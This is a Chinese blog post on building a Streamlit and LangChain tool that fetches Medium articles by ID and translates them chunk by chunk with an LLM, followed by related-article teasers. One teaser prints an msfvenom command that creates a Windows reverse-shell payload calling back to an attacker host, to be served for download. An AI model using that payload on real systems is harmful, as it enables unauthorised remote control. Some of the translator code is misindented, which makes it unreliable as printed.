利用AI技术实现Medium文章的高效中文翻译

news2024/11/18 9:26:31

在深入学习大模型的过程中,我们常常需要查阅Medium上的技术文章。Medium作为一个流行的内容发布平台,汇集了大量高质量的技术和科学文章,对于希望紧跟技术前沿的学习者来说,是一个宝贵的知识库。然而,这些文章大多为英文,对于非英语母语的读者来说,阅读和理解可能存在障碍。英文文章的阅读不仅需要较高的语言能力,而且在理解专业术语和复杂概念时可能会遇到困难,这无疑增加了学习的难度和时间成本。即便使用一般的翻译软件,文章中的类似图片和链接也会丢失掉一些重要信息,这对于我来说,也是不能接受的。

因此,开发一个高效的翻译工具,将这些文章翻译成中文,对于提升学习效率和理解深度具有重要意义。这样的工具不仅可以帮助读者快速获取信息,还能促进知识的传播和共享,使得更多的人能够受益于这些优质内容。通过利用人工智能技术,特别是LLM大模型开发,我们可以实现文本的自动翻译,从而打破语言障碍,让知识无国界,更可贵的是,我要保留文章中的图片和链接的有效。

概念解释

在深入探讨如何实现这一高效的翻译工具之前,我们先来了解几个关键的技术概念:

Streamlit

Streamlit是一个强大的Python库,专门用于快速构建和共享数据应用程序。它提供了一个简单直观的界面,使得开发者可以轻松地创建交互式的Web应用,这对于展示和操作数据非常有用。详细介绍可参阅我的另一篇文章:全面对比dify、coze、streamlit、chainlit

LangChain

LangChain是一个框架,用于构建和集成多种语言模型。它支持多种预训练的语言模型,使得开发者可以根据需要选择合适的模型来处理不同的语言任务,如文本翻译、摘要生成等。详细可以了解我的这个合集:LangChain入门

通过结合这些技术,我们可以构建一个既高效又用户友好的翻译工具,帮助用户轻松地翻译Medium上的技术文章。

实现思路

获取文章内容

首先,我们需要通过Medium API获取指定ID的文章Markdown内容。这一步骤是整个翻译流程的起点,确保我们能够获取到原始的文章内容。

文本分割

由于文章可能较长,直接翻译整个文档可能会影响翻译质量和效率。因此,我们使用文本分割器将长篇文章分割成适合处理的小块,这样可以更高效地进行翻译。

翻译处理

接下来,我们利用预训练的语言模型对每个文本块进行翻译。这一步骤是核心,它涉及到将英文文本转换为中文,同时保持原文的语义和结构。

输出翻译结果

最后,我们将翻译后的文本块整合,保持原有的Markdown格式输出。这样,用户可以方便地阅读翻译后的文章,同时保持原文的格式和结构。

通过这一系列的步骤,我们能够实现一个既准确又高效的翻译工具,帮助用户跨越语言障碍,更好地学习和理解技术文章。

代码实现解析

环境配置与API密钥设置

在构建高效的AI翻译工具之前,首先需要确保环境配置正确,特别是API密钥的设置。API密钥是访问外部服务,如Medium API和翻译服务的关键。在代码中,我们通过环境变量DEEPSEEK_API_KEY来管理API密钥,这样可以确保密钥的安全性,避免直接暴露在代码中。

with st.sidebar:
    if os.environ.get("DEEPSEEK_API_KEY") is None:
        openai_api_key = st.text_input("Deepseek API Key", type="password")
        "[Get an Deepseek API key](https://platform.deepseek.com/)"
    else: 
        openai_api_key = os.environ.get("DEEPSEEK_API_KEY")

界面构建

使用Streamlit创建用户界面是实现交互性的关键步骤。我们的界面包括一个输入框和一个提交按钮,用户可以在这里输入Medium文章的ID,并触发翻译过程。
界面

with st.form("my_form"):
    text = st.text_input("id:", placeholder="请输入medium文章的id")
    submitted = st.form_submit_button("Submit")

核心翻译函数

generate_response函数是实现文章翻译的核心。它首先通过Medium API获取文章的Markdown内容,这里我使用了rapidapi开放接口封装成tool来获取文章内容,然后使用文本分割器将文章分割成小块,最后利用预训练的语言模型对每个文本块进行翻译,并将翻译结果整合输出。

@traceable
def generate_response(input_text):
    llm = LLMs(model_name="glm-3-turbo", temprature=0.7).get_llm()
	system_prompt = """你是一位专业的技术文章翻译专家。我们将进行一次多轮对话,你需要将一篇英文 Markdown 文章翻译成中文。
请按照以下规则进行:
1. 我会每次提供文章的一部分内容,你需要将其翻译成中文。
2. 请不要添加任何其他文字即可。
	"""
	prompt = PromptTemplate(input_variables=["context"], template="{context}")
	# 如果article.md存在,就直接读取,如果不存在,则写入
	if os.path.exists(f"articles/{input_text}.md"):
		with open(f"articles/{input_text}.md", "r") as f:
			article_markdown = f.read()
	else:
		with open(f"articles/{input_text}.md", "w") as f:
			medium_tool = med_art.GetMediumTool()
			article_markdown = medium_tool.run(input_text)
			f.write(article_markdown)
	  
	memory = ConversationBufferMemory()

chain = LLMChain(llm=llm, prompt=prompt, memory=memory)
    text_splitter = RecursiveCharacterTextSplitter(chunk_size=2000, chunk_overlap=0, separators=["\n\n"])
    texts = text_splitter.split_text(article_markdown)
    chinese_translation = ''
    for text in texts:
        result = chain.run(text)
        chinese_translation += "\n\n" + result
        st.write(result)
    return

获取文章的tool即:GetMediumTool,通过调用rapidapi的接口,来获取文章,该接口免费版本每月有一定的额度,需要自行解决网络问题才能使用。

class GetMediumTool(BaseTool):
    name = "custom_api_tool"
    description = "一个用于根据文章id获取medium文章的工具"
    args_schema: Type[BaseModel] = Input

    def _run(self, article_id: str) -> str:
        """使用该工具调用API"""
        base_url = "https://medium2.p.rapidapi.com"
        headers = {
            "X-RapidAPI-Key": os.environ.get("RAPID_API_KEY"),
            "X-RapidAPI-Host": "medium2.p.rapidapi.com"
        }
        url = f"{base_url}/article/{article_id}/markdown"
        response = requests.get(url, headers=headers)
        response.raise_for_status()
        result = response.json()['markdown']
        print(type(result))
        return result

    def run(self, article_id: str, verbose: bool = False, color: str = 'black', callbacks=None, llm_prefix='', observation_prefix='') -> str:
        """调用工具的入口函数"""
        if 'Observation:' in article_id:
            import json
            dict_data = json.loads(article_id.replace('\nObservation:', '').replace("'", "\""))
            article_id = dict_data['article_id']
        # 判断article_id是个json字符串
        if isinstance(article_id, dict):
            article_id = article_id['article_id']
        return self._run(article_id)

多轮对话翻译

为了提高翻译的连贯性和准确性,我们引入了多轮对话翻译机制。通过对话记忆,系统可以记住之前的翻译内容,从而在后续的翻译中保持上下文的连贯性。

memory = ConversationBufferMemory()
chain = LLMChain(llm=llm, prompt=prompt, memory=memory)

通过上述步骤,我们不仅实现了文章的自动翻译,还确保了翻译的质量和用户体验。这种结合AI技术和编程工具的方法,为解决实际问题提供了有效的解决方案。

文本分割与处理

generate_response函数中,我们使用了RecursiveCharacterTextSplitter来分割文章。这种分割器能够根据文本中的自然分隔符(如换行符)来分割文本,确保每个文本块在语义上相对独立,便于后续的翻译处理。

text_splitter = RecursiveCharacterTextSplitter(chunk_size=2000, chunk_overlap=0, separators=["\n\n"])
texts = text_splitter.split_text(article_markdown)

这里,chunk_size设置为2000字符,确保每个文本块不会过大,以便于翻译模型处理。chunk_overlap设置为0,意味着每个文本块之间没有重叠,这样可以减少翻译时的冗余。

翻译与输出

翻译过程中,我们利用预训练的语言模型对每个文本块进行翻译,并将翻译结果实时显示在Streamlit界面上。这不仅让用户能够即时看到翻译进度,也便于用户对翻译结果进行实时检查和反馈。

for text in texts:
    result = chain.run(text)
    chinese_translation += "\n\n" + result
    st.write(result)

每次翻译完成后,翻译结果会被添加到chinese_translation变量中,并显示在界面上。这样,用户可以逐步查看翻译结果,确保翻译的准确性和连贯性。

多轮对话翻译的实现

多轮对话翻译通过ConversationBufferMemory实现,它允许系统记住之前的对话内容,从而在后续的翻译中保持上下文的连贯性。这种机制特别适用于处理长篇文章,可以确保翻译的整体一致性。

memory = ConversationBufferMemory()
chain = LLMChain(llm=llm, prompt=prompt, memory=memory)

通过这种方式,系统能够在翻译过程中不断学习和调整,以适应文章的特定风格和术语,从而提供更加精准和自然的翻译结果。

最终效果

总结

通过本项目,我们不仅实现了一个高效的Medium文章翻译工具,还深入了解了如何结合AI技术和编程工具来解决实际问题。这不仅提升了个人学习效率,也为其他需要翻译服务的场景提供了参考和启示。通过Streamlit构建的交互式界面,用户可以轻松地输入文章ID并获取翻译结果,整个过程直观且高效。此外,多轮对话翻译机制的引入,进一步提高了翻译的质量和用户体验,使得翻译结果更加准确和自然。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1710669.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

eclipse启动时间过长的问题

项目场景: 由于我用eclipse比较习惯,虽然IDEA很好,但是因为收费,所以在个人开发学习过程中一直还是使用eclipse,本文不讨论eclipse与IDEA孰优孰劣问题。 开发环境: 操作系统:Windows 11 22631…

CANDela studio之CDDT与CDD

CDDT有更高的权限,作为模板规范CDD文件。 CDD可修改的内容比CDDT少。 CDDT根据诊断协议提供诊断格式,主要就是分类服务和定义服务,一般是OEM释放,然后由供应商细化成自己零部件的CDD文件。 在这里举个例子,OEM在CDDT…

心链4---搜索页面前后端业务实现以及分布式session的共享实现

心链 — 伙伴匹配系统 搜索详情页面 之前前端的代码写到了搜索页面可以挑选搜索标签,并没有去根据具体标签搜索用户。这里就开始实现。 新建SearchResultPage.vue,并添加相关路由。 在搜索页添加搜索按钮,和触发点击。搜索页选择标签&#x…

ubuntu server 24.04 (Linux) 源码编译安装 OpenResty 1.25.3.1 Released

1 下载: OpenResty - 开源官方站 2 通过xftp等方式上传到ubuntu服务器 3 安装 #解压 tar zxvf openresty-1.25.3.1.tar.gz #创建运行用户 sudo groupadd www sudo useradd -g www www -s /bin/false #安装依赖软件 sudo apt update sudo apt-get install libpcre3-dev l…

数据分析之统计学基础

数据分析是现代企业和科研中不可或缺的一部分,而统计学是数据分析的基石。在本篇博客中,我们将介绍统计学的基础知识,涵盖数据类型、描述性统计(集中趋势、离散程度和偏差程度),并通过代码实例加以说明。 …

释放 OSINT 的力量:在线调查综合指南

开源情报 (OSINT) 是从公开信息中提取有价值见解的艺术。无论您是网络安全专业人士、道德黑客还是情报分析师,OSINT 都能为您提供先进的技术,帮助您筛选海量的数字数据,发现隐藏的真相。 在本文中,我们将深入研究大量的OSINT 资源…

Vue进阶之Vue项目实战(四)

Vue项目实战 出码功能知识介绍渲染器性能调优使用 vue devtools 进行分析使用“渲染”进行分析判断打包构建的产物是否符合预期安装插件使用位置使用过程使用lighthouse分析页面加载情况使用performance分析页面加载情况应用自动化部署与发布CI/CD常见的CI/CD服务出码功能 出码…

AI赋能数字人:打造与语音节奏完美匹配的高质量手势动画

在数字化时代,人机交互正以前所未有的速度进化,而AI数字人的发展正是这一进程中的重要里程碑。近期,一项旨在根据语音内容自动生成匹配手势的技术方案引起了广泛关注,该技术不仅增强了数字人的表现力,也为远程沟通、教育、娱乐等多个领域带来了革新性的应用潜力。本文将深…

【ArcGIS For JS】前端geojson渲染行政区划图层并加标签

原理 通过DataV工具 生成行政区的geojson(得到各区的面元素数据), 随后使用手动绘制featureLayer与Label,并加载到地图。 //vue3加载geojson数据public/geojson/pt.json,在MapView渲染上加载geojson数据 type是"MultiPolygon"fetc…

Web渗透-MySql-Sql注入:联合查询注入

SQL注入(SQL Injection)是一种网络攻击技术,攻击者通过将恶意的SQL代码插入到应用程序的输入字段,从而欺骗应用程序执行未经授权的操作。这种攻击方式可以导致严重的安全问题,包括: 数据泄露:攻…

【MATLAB源码-第216期】基于matlab的北方苍鹰优化算法(NGO)机器人栅格路径规划,输出做短路径图和适应度曲线。

操作环境: MATLAB 2022a 1、算法描述 北方苍鹰优化算法(Northern Goshawk Optimization,简称NGO)是一种新兴的智能优化算法,灵感来源于北方苍鹰的捕猎行为。北方苍鹰是一种敏捷且高效的猛禽,广泛分布于北…

qrcode和qrcodejs2生成二维码+刷新

1、使用qrcode生产二维码&#xff0c;封装组件 创建Qrcode.vue文件 <template><divclass"QRCode":style"{ width: width, height: height }"><canvas:id"canvasId"ref"canvas":style"{ width: width, height: …

上海冠珠旗舰总店盛装开业暨冠珠瓷砖中国美学设计巡回圆满举办

上海&#xff0c;这座融合了东西方文化的国际化大都市&#xff0c;不仅是中国的时尚中心&#xff0c;也是全球潮流的汇聚地。在这里&#xff0c;古典与现代交织&#xff0c;传统与前卫并存&#xff0c;为传统色彩与现代设计的融合提供了得天独厚的条件。 5月25日&#xff0c;上…

分频器对相位噪声影响

本文我们将分析输入时钟被N分频之后的输出时钟的相位噪声如何变化。首先理想分频器的意思是我们假设分频器不会引入附加相位噪声&#xff0c;并且输入和输出时钟之间没有延时。我们假设每一个输出边沿的位置都完美的与输入边沿相对齐&#xff0c;这样便于分析。由于每N个输入时…

简单3步,ERP、OA、CRM等客户端,安全远程访问服务端

如今&#xff0c;企业员工出差远程办公和分支机构的协同工作变得越来越普遍。然而&#xff0c;如何确保在不同地点的员工都能安全、便捷地访问公司内网的C/S&#xff08;Client/Server&#xff09;架构办公系统&#xff0c;是一个亟待解决的问题。 贝锐花生壳内网穿透服务提供…

Elasticsearch8.13.4版本的Docker启动关闭HTTPS

博主环境是&#xff1a; 开发环境&#xff1a;SpringbootElasticSearch客户端对应的starter 2.6.3版本 maven配置 <!-- ElasticSearch --><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-elas…

二叉树习题精讲-相同的树

相同的树 100. 相同的树 - 力扣&#xff08;LeetCode&#xff09;https://leetcode.cn/problems/same-tree/description/ /*** Definition for a binary tree node.* struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* };*/ bool i…

MFC 发起 HTTP Post 请求 发送MES消息

文章目录 获取Token将获取的Token写入JSON文件 将测试参数发送到http首先将测试参数写入到TestData.JSON文件rapidjson 库需要将CString 进行类型转换才能使用&#xff0c;将CString 转换为const char* 发送JSON 参数到http中&#xff0c;并且获取返回结果写入TestFinish.JSON文…

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…

效率工作:一键为多种资产添加统一材质(小插件)

1.需求分析&#xff1a; 当导入一批资产&#xff0c;或者有同一批结构体需要添加相同材质时&#xff0c;单独为每个模型都添加材质费时费力&#xff0c;有没有什么办法&#xff0c;能同时为多个资产添加材质。 2.操作实现 1.在网上找到了一款插件&#xff0c;经过验证&#xf…